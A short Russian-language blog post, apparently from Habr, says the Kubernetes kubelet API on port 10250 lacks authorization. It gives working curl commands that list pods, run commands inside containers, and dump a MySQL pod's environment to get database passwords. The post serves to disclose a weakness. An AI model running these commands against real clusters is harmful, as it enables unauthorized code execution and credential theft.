Сервис `kubelet`, с которым тесно общается `apiserver`, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
*
*
*
Что с этим можно сделать? Правтически всё. Без регистрации и sms.
Получить список всех pod'ов:
$ curl -sk
https://k8s-node-1:10250/runningpods/ | python -mjson.tool
Выполнить команду внутри контейнера? Запросто:
$ curl -k -XPOST "
https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
Получить пароль на базу данных? Проще простого:
$ curl -k -XPOST "
https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
Вытащить из неё данные тоже не составит труда.
[][1]
[1]:
https://habrahabr.ru/post/308628/?utm_source=habrahabr&utm_medium=rss&utm_campaign=feed_posts#habracut